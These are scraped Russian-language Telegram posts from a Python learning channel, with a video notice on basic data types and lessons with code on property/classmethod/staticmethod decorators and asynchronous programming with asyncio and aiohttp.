В этом видео автор простым языком объясняет базовые типы данных в Python: int, float, str и bool.Показано, как они работают, чем отличаются и как их применять. Подойдёт тем, кто только начинает изучение языка и хочет разобраться в основах.


➡️ Ссылка на первоисточник

🤩 Pytstart || #Видеокурс
Please open Telegram to view this post
VIEW IN TELEGRAM
3👍1🔥1
👩‍💻 Углублённое ООП в Python — property, classmethod, staticmethod

В Python методы — это не всегда просто def. Есть специальные декораторы, которые меняют то, как ты работаешь с логикой класса. С ними код чище, а интерфейс удобнее.


🏷 `@property` — метод как атрибут
Нужен, когда хочешь, чтобы метод выглядел как обычное поле, но с вычислением «на лету».
class User:
def __init__(self, name):
self._name = name

@property
def name(self):
print("📡 Получаем имя...")
return self._name.title()

u = User("ivan")
print(u.name) # 📡 Получаем имя... → Ivan

➡️ Пользователь думает, что это поле, а внутри может быть хоть сложная логика или обращение к API.

📛 Можно ещё добавить setter:
    @name.setter
def name(self, value):
if not value:
raise ValueError(" Имя не может быть пустым")
self._name = value

➡️ Теперь u.name = "Petr" вызовет логику проверки, а не просто присвоение.


🏭 `@classmethod` — метод уровня класса
Передаёт в первый аргумент cls — сам класс. Отлично подходит для альтернативных конструкторов.
class Product:
def __init__(self, name):
self.name = name

@classmethod
def from_dict(cls, data):
return cls(data["name"])

p = Product.from_dict({"name": "Laptop"})
print(p.name) # Laptop

➡️ Не надо вручную дергать __init__, всё скрыто за понятным методом.

🧠 Ещё приём: методы-фабрики с преднастроенными значениями.
    @classmethod
def default(cls):
return cls("Default Product")


⚡️ `@staticmethod` — метод без привязки
Обычная функция внутри класса, не знающая про self и cls.
class MathUtils:
@staticmethod
def add(a, b):
return a + b

print(MathUtils.add(2, 3)) # 5

➡️ Лежит в классе для логической группировки, но работает автономно.

📛 Пример с валидацией:
class Temperature:
@staticmethod
def is_valid(value):
return -273.15 <= value

➡️ Это не про объект и не про класс, просто утилита по теме.

🔗 Комбо на практике
class Temperature:
def __init__(self, celsius):
self.celsius = celsius

@property
def fahrenheit(self):
return (self.celsius * 9 / 5) + 32

@classmethod
def from_fahrenheit(cls, f):
return cls((f - 32) * 5 / 9)

@staticmethod
def is_valid(value):
return -273.15 <= value



➡️ Здесь всё вместе:

👍 property — вычисляет по формуле
👍 classmethod — создаёт объект из другой шкалы
👍 staticmethod — проверяет, что температура физически возможна


🗣️ Запомни: property — прячь логику за «атрибутом», classmethod — делай фабрики, staticmethod — держи утилиты рядом с классом. Эти три — твои кирпичи для чистого ООП в Python.
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍21
⚡️ Асинхронность в Python — asyncio и aiohttp

Когда код ждёт — ты теряешь время. Асинхронность позволяет работать с тысячами задач одновременно, не создавая кучу потоков. Это особенно круто в сетевых приложениях: боты, API, парсеры, чаты.

🌀 `asyncio` — асинхронный движок Python
Вместо того чтобы блокироваться на ожидании, Python "прыгает" между задачами.
import asyncio

async def task(name, delay):
await asyncio.sleep(delay)
print(f" Задача {name} выполнена")

async def main():
await asyncio.gather(
task("A", 2),
task("B", 1),
task("C", 3)
)

asyncio.run(main())

➡️ Все задачи стартуют вместе. Пока одна «спит» — выполняются другие.

📛 Основные приёмы:

🟢 async def — объявление асинхронной функции
🟢 await — «подожди» и уступи управление
🟢 asyncio.gather() — запусти несколько задач параллельно


🌍 `aiohttp` — асинхронные запросы
Отличается от requests тем, что не блокирует поток.
import aiohttp
import asyncio

async def fetch(url):
async with aiohttp.ClientSession() as session:
async with session.get(url) as resp:
return await resp.text()

async def main():
urls = [
"https://example.com",
"https://httpbin.org/get",
"https://python.org"
]
results = await asyncio.gather(*(fetch(u) for u in urls))
for i, html in enumerate(results, 1):
print(f"📄 Страница {i}: {len(html)} символов")

asyncio.run(main())

➡️ Все запросы идут одновременно, а не по одному.

🛠 Асинхронный сервер на `aiohttp`
from aiohttp import web

async def handle(request):
return web.Response(text="👋 Привет, async!")

app = web.Application()
app.router.add_get("/", handle)

web.run_app(app, port=8080)

➡️ Лёгкий веб-сервер, который можно масштабировать без потоков.

💡 Где асинхронность особенно нужна:
🟢 Чат-серверы и мессенджеры
🟢 Парсинг тысяч страниц
🟢 API с большим количеством одновременных клиентов
🟢 Боты, которые делают много запросов


🗣️ Запомни: asyncio — это переключение задач без ожидания, aiohttp — быстрые асинхронные запросы. Вместе они дают реактивный, лёгкий и масштабируемый Python.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍41